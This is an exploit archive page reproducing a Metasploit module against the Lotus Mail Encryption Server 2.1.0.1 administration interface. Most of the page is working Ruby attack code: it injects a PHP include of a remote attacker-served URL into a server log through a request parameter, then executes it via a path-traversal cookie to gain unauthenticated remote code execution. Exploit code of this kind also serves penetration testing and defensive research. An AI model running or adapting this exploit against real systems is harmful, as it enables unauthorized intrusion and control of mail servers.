exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Lotus Mail Encryption Server (Protector for Mail) Local File Inclusion

Lotus Mail Encryption Server (Protector for Mail) Local File Inclusion
Posted Dec 22, 2014
Authored by Patrick Webster | Site metasploit.com

This Metasploit module exploits a local file inclusion vulnerability in the Lotus Mail Encryption Server (Protector for Mail Encryption) administration setup interface. The index.php file uses an unsafe include() where an unauthenticated remote user may read (traversal) arbitrary file contents. By abusing a second bug within Lotus, we can inject our payload into a known location and call it via the LFI to gain remote code execution. Version 2.1.0.1 Build(88.3.0.1.4323) is known to be vulnerable. You may need to set DATE in the format YYYY-MM-DD to get this working, where the remote host and metasploit instance have UTC timezone differences.

tags | exploit, remote, arbitrary, local, php, code execution, file inclusion
advisories | OSVDB-87556
SHA-256 | 96dbd26ee71f67057f541ea0a3081085a8e98bc7c5079679244febd71f971874

Lotus Mail Encryption Server (Protector for Mail) Local File Inclusion

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude

def initialize(info = {})
super(update_info(info,
'Name' => 'Lotus Mail Encryption Server (Protector for Mail) Local File Inclusion',
'Description' => %q{
This module exploits a local file inclusion vulnerability in
the Lotus Mail Encryption Server (Protector for Mail Encryption)
administration setup interface. The index.php file uses an unsafe include()
where an unauthenticated remote user may read (traversal) arbitrary file contents.
By abusing a second bug within Lotus, we can inject our payload
into a known location and call it via the LFI to gain remote code execution.
Version 2.1.0.1 Build(88.3.0.1.4323) is known to be vulnerable.
You may need to set DATE in the format YYYY-MM-DD to get this working,
where the remote host and metasploit instance have UTC timezone differences.
},
'Author' => [ 'patrick' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.osisecurity.com.au/advisories/' ], #0day
#[ 'CVE', 'X' ],
[ 'OSVDB', '87556'],
#[ 'BID', 'X' ],
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Lotus Mail Encryption Server 2.1.0.1', { }]],
'DisclosureDate' => 'Nov 9 2012',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(9000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new("DATE", [false, 'The date of the target system log file in YYYY-MM-DD format']),
], self.class)
end

def check
res = send_request_cgi( { 'uri' => '/' })
if (res.code == 302 && res.body.match(/GetLoginScreen.uevent/))
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end

def php_exploit

logfile = datastore['DATE'] ? datastore['DATE'] : Time.now.strftime("%Y-%m-%d")
if (logfile !~ /\d\d\d\d-\d\d-\d\d/) # if set by user datastore...
print_error("DATE is in incorrect format (use 'YYYY-MM-DD'). Unable to continue.")
return
end

# set up the initial log file RCE - this is unescaped ascii so we can execute it
# later >:) uid is tomcat so we cannot read apache's logs, and we are stuck inside
# tomcat's php-cgi wrapper which prevents /proc/* injection and a lot of the
# filesystem. example good injected log: '/var/log/ovid/omf-2012-08-01.log' patrick

inject_url = "/omc/GetSetupScreen.event?setupPage=<?php+include+'#{php_include_url}';+?>" # no whitespace
res = send_request_cgi( { 'uri' => inject_url })

if (res and res.code == 404 and res.body.match(/Lotus Protector for Mail Encryption - Page Not Found/)) # it returns a 404 but this is good.
vprint_good("Payload injected...")

response = send_request_cgi( {
'uri' => '/omc/pme/index.php',
'cookie' => "slaLANG=../../../../../../var/log/ovid/omf-#{logfile}.log%00;", # discard .php
})
end
end
end

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close